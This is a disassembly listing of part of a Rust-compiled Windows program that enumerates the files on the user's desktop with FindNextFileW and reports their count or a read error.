mov qword [rcx + 0x18], rsi
mov qword [rcx + 0x20], rax
mov qword [rbp + 0xd88], rcx
mov byte [rcx + 0x28], 0
test r15, r15
je 0x140006b5f
push 2
pop rdx
mov rcx, rdi
call fcn.140007720
xor esi, esi
mov edi, 0
mov dword [rbp + 0xd6c], 0
cmp qword [rbp + 0xd60], 0
mov rcx, qword [rbp + 0xd80]
je 0x140006bf8
push 1
pop rdx
call fcn.140007720
test sil, sil
je 0x140006bf8
mov rax, qword [rbp + 0xd88]
mov qword [rbp + 0x420], rax
lea rsi, [rbp + 0x420]
mov qword [rbp + 0x670], rsi
lea rax, str.Unable_to_read_the_users_desktop_file_list:
lea rcx, [rbp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [fcn.14008cf60]
mov qword [rbp + 0x678], rax
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 1
call fcn.14008f950
mov rcx, rsi
call fcn.140001be7
jmp 0x140006f94
mov qword [rbp + 0xd48], r13
lea rsi, [rbp + 0x34]
lea rdx, [rbp + 0x670]
mov r8d, 0x254
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r12, qword [rbp + 0xd88]
mov qword [rsi - 0x14], r12
mov rax, qword [rbp + 0xd48]
mov qword [rsi - 0xc], rax
mov eax, dword [rbp + 0xd6c]
mov dword [rsi - 4], eax
movzx eax, word [rsi + 0x2c]
movzx edx, word [rsi + 0x2e]
movzx r8d, word [rsi + 0x30]
lea r9, [rbp + 0x66]
mov word [rbp + 0xd80], ax
cmp ax, 0x2e
sete al
test dx, dx
sete cl
mov dword [rbp + 0xd60], edx
xor edx, 0x2e
mov word [rbp + 0xd5e], r8w
or dx, r8w
sete dl
mov r8, qword [r9 - 0x32]
mov qword [rbp + 0xcf8], r8
or dl, cl
and dl, al
mov byte [rbp + 0xd78], dl
lea r13, [rbp + 0x420]
mov rsi, qword [sym.imp.kernel32.dll_FindNextFileW]
xor r15d, r15d
cmp qword [rbp + 0xd48], 0xffffffffffffffff
je 0x140006f18
not dil
or dil, byte [rbp + 0xd78]
test dil, 1
je 0x140006d7e
mov r8d, 0x250
mov rcx, r13
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0xd48]
mov rdx, r13
call rsi
test eax, eax
je 0x140006df4
cmp word [rbp + 0x44c], 0x2e
jne 0x140006cff
movzx eax, word [rbp + 0x44e]
test ax, ax
je 0x140006cc5
cmp ax, 0x2e
jne 0x140006cff
cmp word [rbp + 0x450], 0
je 0x140006cc5
lock inc qword [r12]
jle 0x140007169
mov rdi, qword [rbp + 0x420]
lea rax, [rbp + 0x428]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xc50], xmm0
movaps xmmword [rbp + 0xc60], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0xc70], eax
movzx eax, word [rbp + 0x44c]
mov word [rbp + 0xd30], ax
movzx eax, word [rbp + 0x44e]
mov word [rbp + 0xd38], ax
movzx eax, word [rbp + 0x450]
mov word [rbp + 0xd40], ax
mov r8d, 0x21e
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x452]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140006e15
lock inc qword [r12]
jle 0x140007169
lea rcx, [rbp + 0x34]
mov eax, dword [rcx + 0x28]
mov dword [rbp + 0xc70], eax
movups xmm0, xmmword [rcx + 8]
movups xmm1, xmmword [rcx + 0x18]
movaps xmmword [rbp + 0xc60], xmm1
movaps xmmword [rbp + 0xc50], xmm0
mov r8d, 0x21e
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x66]
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbp + 0xcf8]
movzx eax, word [rbp + 0xd80]
mov word [rbp + 0xd30], ax
mov eax, dword [rbp + 0xd60]
mov word [rbp + 0xd38], ax
movzx eax, word [rbp + 0xd5e]
mov word [rbp + 0xd40], ax
jmp 0x140006e15
mov rdi, qword [sym.imp.kernel32.dll_GetLastError]
call rdi
cmp eax, 0x12
je 0x140006f26
call rdi
mov edi, eax
shl rdi, 0x20
or rdi, 2
xor r12d, r12d
test r12, r12
je 0x140006e81
mov eax, dword [rbp + 0xc70]
mov dword [rbp + 0xb60], eax
movaps xmm0, xmmword [rbp + 0xc50]
movaps xmm1, xmmword [rbp + 0xc60]
movaps xmmword [rbp + 0xb50], xmm1
movaps xmmword [rbp + 0xb40], xmm0
mov r8d, 0x21e
mov rcx, r13
lea rdx, [rbp + 0x8d0]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rbp + 0xd30]
mov word [rbp + 0xd98], ax
movzx eax, word [rbp + 0xd38]
mov word [rbp + 0xd90], ax
movzx eax, word [rbp + 0xd40]
mov word [rbp + 0xd50], ax
mov qword [rbp + 0x678], r12
mov qword [rbp + 0x680], rdi
mov eax, dword [rbp + 0xb60]
lea rdi, [rbp + 0x670]
mov dword [rdi + 0x38], eax
movaps xmm0, xmmword [rbp + 0xb40]
movaps xmm1, xmmword [rbp + 0xb50]
movups xmmword [rdi + 0x28], xmm1
movups xmmword [rdi + 0x18], xmm0
movzx eax, word [rbp + 0xd98]
mov word [rbp + 0x6ac], ax
movzx eax, word [rbp + 0xd90]
mov word [rbp + 0x6ae], ax
movzx eax, word [rbp + 0xd50]
mov word [rbp + 0x6b0], ax
mov r8d, 0x21e
lea rcx, [rbp + 0x6b2]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x670], 1
inc r15
mov rcx, rdi
call fcn.140001a6c
xor edi, edi
mov r12, qword [rbp + 0xd88]
jmp 0x140006c93
mov eax, dword [rbp + 0xd6c]
mov dword [rbp + 0x30], eax
xor r15d, r15d
jmp 0x140006f2a
and dword [rbp + 0x30], 0
lea rsi, [rbp + 0x670]
and qword [rsi], 0
mov rcx, rsi
call fcn.140001a6c
lea rdi, [rbp + 0x20]
mov rcx, qword [rdi + 8]
call qword [sym.imp.kernel32.dll_FindClose]
mov rcx, rdi
call fcn.140001ea0
mov qword [rbp + 0x420], r15
mov qword [rsi], r13
lea rax, str.Users_desktop_file_count:
mov qword [rdi], rax
mov qword [rdi + 8], 2
and qword [rdi + 0x20], 0
lea rax, [fcn.14000a1f0]
mov qword [rsi + 8], rax
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 1
lea rcx, [rbp + 0x20]
call fcn.14008f6f0
mov rcx, qword [rbp + 0xb10]
mov rdx, qword [rbp + 0xb18]
call fcn.140031059
jmp 0x140006075
shl rax, 0x20
mov qword [rbp + 0xd88], rax
test r15, r15
je 0x140006fc7
push 2
pop rdx
mov rcx, rdi
call fcn.140007720
add qword [rbp + 0xd88], 2
cmp qword [rbp + 0xd60], 0
mov rsi, qword [rbp + 0xd80]
jne 0x1400064a1
jmp 0x1400064ac
lea rcx, str.assertion_failed:_self.buf.init___self.buf.filled__n
lea r8, [0x1400ad8a8]
push 0x36
jmp 0x1400057fd
mov rsi, qword [rbp + 0x678]
jmp 0x140007051
mov rsi, qword [rbp + 0x8d8]
jmp 0x140007051
lea rcx, str.srcmain.rs
call fcn.1400a8d40
mov al, byte [rbp + 0x671]
lea r8, [rbp + 0x8d0]
mov byte [r8], al
lea rax, str.srcmain.rs
jmp 0x140007097
mov rsi, qword [rbp + 0x678]
jmp 0x140007045
mov rsi, qword [rbp + 0x8d8]
lea rcx, [rbp + 0xc50]
call fcn.140001918
lea r8, [rbp + 0x20]
mov qword [r8], rsi
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400ad948]
jmp 0x1400070aa
lea rcx, str.srcmain.rs
call fcn.1400a8d40
mov al, byte [rbp + 0x671]
lea r8, [rbp + 0x8d0]
mov byte [r8], al
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400ad968]
push 0x2b
jmp 0x140005eaf
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
push 0x28
pop rdx
call fcn.1400a88d0
jmp 0x140007169
lea rcx, str.srcmain.rs
call fcn.1400a8d40
call fcn.1400077f0
push 1
pop rcx
mov rdx, r15
call fcn.1400a8570
mov byte [rbp + 0xda7], 1
push 1
pop rcx
mov rdx, r15
call fcn.1400a8570
jmp 0x140007169
mov qword [rbp + 0xd98], r13
mov qword [rbp + 0xd70], r15
mov qword [rbp + 0xd90], rdi
push 8
pop rcx
push 0x30
pop rdx
call fcn.1400a8570
jmp 0x140007169
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r15
call fcn.1400a88c0
jmp 0x140007169
mov rcx, qword [rbp + 0x8d8]
test rcx, rcx
jne 0x14000715d
call fcn.1400077f0
jmp 0x140007169
mov qword [rbp + 0xd70], r15
mov qword [rbp + 0xd90], rdi
push 8
pop rcx
push 0x30
pop rdx
call fcn.1400a8570
jmp 0x140007169
mov rdx, qword [rbp + 0x8e0]
call fcn.1400a8570
ud2